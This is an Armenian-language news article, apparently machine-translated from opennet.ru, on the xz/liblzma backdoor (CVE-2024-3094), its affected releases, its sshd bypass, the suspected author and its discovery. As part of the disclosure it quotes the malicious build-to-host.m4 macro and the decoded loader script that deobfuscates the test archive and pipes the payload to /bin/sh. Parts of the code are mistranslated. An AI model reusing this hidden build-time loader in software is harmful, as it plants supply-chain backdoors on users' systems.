Xz/liblzma գրադարանում հայտնաբերվել է հետնադուռ, որը թույլ է տալիս մուտք գործել sshd-ի միջոցով

XZ Utils փաթեթում, որը ներառում է liblzma գրադարանը և կոմունալ ծառայություններ՝ սեղմված տվյալների հետ «.xz» ձևաչափով աշխատելու համար, հայտնաբերվել է հետնադուռ (CVE-2024-3094), որը թույլ է տալիս գաղտնալսել և փոփոխել առնչվող հավելվածների կողմից մշակված տվյալները: liblzma գրադարանի հետ։ Backdoor-ի հիմնական թիրախը OpenSSH սերվերն է, որը որոշ բաշխումների մեջ միացված է libsystemd գրադարանին, որն իր հերթին օգտագործում է liblzma: Sshd-ը խոցելի գրադարանի հետ կապելը թույլ է տալիս հարձակվողներին մուտք գործել SSH սերվեր՝ առանց նույնականացման:

Backdoor-ն առկա էր 5.6.0 և 5.6.1 պաշտոնական թողարկումներում, որոնք հրապարակվել են փետրվարի 24-ին և մարտի 9-ին, որոնց հաջողվել է մուտք գործել որոշ բաշխումներ և պահոցներ, օրինակ՝ Gentoo, Arch Linux, Debian sid/unstable, Fedora Rawhide և 40-բետա, openSUSE գործարան և tumbleweed, LibreELEC, Alpine edge, Solus, NixOS անկայուն, OpenIndiana, OpenMandriva պտտվող, pkgsrc հոսանք, Slackware հոսանք, Manjaro թեստավորում: xz 5.6.0 և 5.6.1 թողարկումների բոլոր օգտվողներին խորհուրդ է տրվում շտապ վերադառնալ 5.4.6 տարբերակին:

Խնդիրը մեղմացնող գործոններից կարելի է նշել, որ liblzma-ի հետին դռնով տարբերակը չի կարողացել դառնալ խոշոր բաշխումների կայուն թողարկումների մաս, այլ ազդել է openSUSE Tumbleweed-ի և Fedora 40-բետա-ի վրա։ Arch Linux-ը և Gentoo-ն օգտագործում էին zx-ի խոցելի տարբերակը, բայց ենթակա չեն հարձակման, քանի որ նրանք չեն կիրառում systemd-notify կարկատումը openssh-ի վրա, ինչը հանգեցնում է sshd-ի միացմանը liblzma-ին: Հետևի դուռը ազդում է միայն Linux միջուկի և Glibc C գրադարանի վրա հիմնված x86_64 համակարգերի վրա:

Հետևի դռան ակտիվացման կոդը թաքնված էր m4 մակրոներում build-to-host.m4 ֆայլից, որն օգտագործում էր automake գործիքակազմը կառուցելիս: Մոնտաժման ժամանակ, արխիվների վրա հիմնված բարդ մշուշոտ գործողությունների կատարման ժամանակ (bad-3-corrupt_lzma2.xz, good-large_compressed.lzma), որոնք օգտագործվում էին գործողության ճիշտությունը ստուգելու համար, ստեղծվեց վնասակար կոդով օբյեկտի ֆայլ, որը ներառված էր liblzma գրադարանը և փոխեց գործողության տրամաբանությունը դրա որոշ գործառույթներ: Backdoor ակտիվացնող m4 մակրոները ներառված էին թողարկման tarballs-ում, բայց հասանելի չէին Git պահոցում: Միևնույն ժամանակ, պահեստում առկա էին վնասակար փորձարկման արխիվներ, այսինքն. այն անձը, ով իրականացրել է հետնադուռը, հասանելի է եղել և՛ պահեստարանին, և՛ թողարկման ստեղծման գործընթացներին:

Liblzma հավելվածներում օգտագործելիս վնասակար փոփոխությունները կարող են օգտագործվել տվյալների գաղտնալսման կամ փոփոխման համար կամ ազդել sshd-ի աշխատանքի վրա: Մասնավորապես, վնասակար կոդը խաբել է RSA_public_decrypt ֆունկցիան՝ շրջանցելու sshd վավերացման գործընթացը: Հետևի դուռը ներառում էր պաշտպանություն հայտնաբերումից և չէր դրսևորվում, երբ սահմանվում էին LANG և TERM միջավայրի փոփոխականները (այսինքն՝ գործընթացը տերմինալում գործարկելիս), իսկ LD_DEBUG և LD_PROFILE միջավայրի փոփոխականները չէին դրված, և նույնպես ակտիվանում էր միայն այն կատարելիս: /usr/sbin/sshd գործարկվող ֆայլ: Հետևի դուռը նաև ուներ վրիպազերծման միջավայրերում կատարումը հայտնաբերելու միջոց:

Մասնավորապես, m4/build-to-host.m4 ֆայլն օգտագործել է gl_am_configmake=`grep -aErls «#{4}[[:alnum:]]{5}#{4}$» $srcdir/ 2>/dev / null` … gl_[$1]_config='sed \»r\n\» $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>/dev/null'

Առաջին կառուցման մեջ grep օպերացիան գտավ ֆայլի tests/files/bad-3-corrupt_lzma2.xz, որը, երբ փաթեթավորված էր, ստեղծեց սկրիպտը՝ ####Hello#### #345U211267$^D330^W [ ! $(uname) = «Linux» ] && ելք 0 [ ! $(uname) = «Linux» ] && ելք 0 [ ! $(uname) = «Linux» ] && ելք 0 [ ! $(uname) = «Linux» ] && ելք 0 [ ! $(uname) = «Linux» ] && ելք 0 eval `grep ^srcdir= config.status` եթե փորձարկել -f ../../config.status;ապա eval `grep ^srcdir= ../../config .status` srcdir="../../$srcdir» fi արտահանում i=»((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/ null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head - c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head - c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/ dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && ( head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +939)";(xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31233|tr "\114-\321\322-\377\35-\47\14-\34\0-\13 \50-\113" "\0-\377")|xz -F raw —lzma1 -dc|/bin/sh ####Աշխարհ####

Թե ինչպես են հարձակվողներին հաջողվել մուտք գործել xz նախագծի ենթակառուցվածք, դեռ լիովին պարզաբանված չէ։ Դեռևս պարզ չէ, թե քանի օգտատեր և նախագիծ է վտանգվել հետնախորշի հետևանքով։ Հետևի դռան ենթադրյալ հեղինակը (JiaT75 - Jia Tan), ով պահոցում տեղադրեց վնասակար կոդով արխիվներ, նամակագրեց Fedora-ի մշակողների հետ և ուղարկեց Debian-ին ձգտման հարցումներ՝ կապված բաշխումները xz 5.6.0 մասնաճյուղին անցնելու հետ, և չ կասկածներ են հարուցում, քանի որ նա մասնակցել է xz-ին, զարգանում է վերջին երկու տարիներին և կատարված փոփոխությունների քանակով երկրորդ մշակողն է։ Բացի xz նախագծից, backdoor-ի ենթադրյալ հեղինակը մասնակցել է նաև xz-java և xz-ներկառուցված փաթեթների մշակմանը։ Ավելին, Jia Tan-ը մի քանի օր առաջ ներառվել է Linux միջուկում օգտագործվող XZ Embedded նախագծի սպասարկողների շարքում։

Վնասակար փոփոխությունը հայտնաբերվել է CPU-ի չափից ավելի սպառումը և valgrind-ի կողմից առաջացած սխալները վերլուծելուց հետո ssh-ի միջոցով Debian sid-ի վրա հիմնված համակարգերին միանալու ժամանակ: Հատկանշական է, որ xz 5.6.1 թողարկումը ներառում էր փոփոխություններ, որոնք պատրաստել էր հետնախորշի ենթադրյալ հեղինակը՝ ի պատասխան sshd-ի դանդաղեցման և խափանումների վերաբերյալ բողոքների, որոնք առաջացել էին հետնախորշով zx 5.6.0 տարբերակի թարմացումից հետո: Բացի այդ, անցյալ տարի Ջիա Տանը փոփոխություններ կատարեց, որոնք անհամատեղելի էին «-fsanitize=address» ստուգման ռեժիմի հետ, ինչի պատճառով այն անջատվեց fuzz-ի փորձարկման ժամանակ:

Source: opennet.ru

Добавить комментарий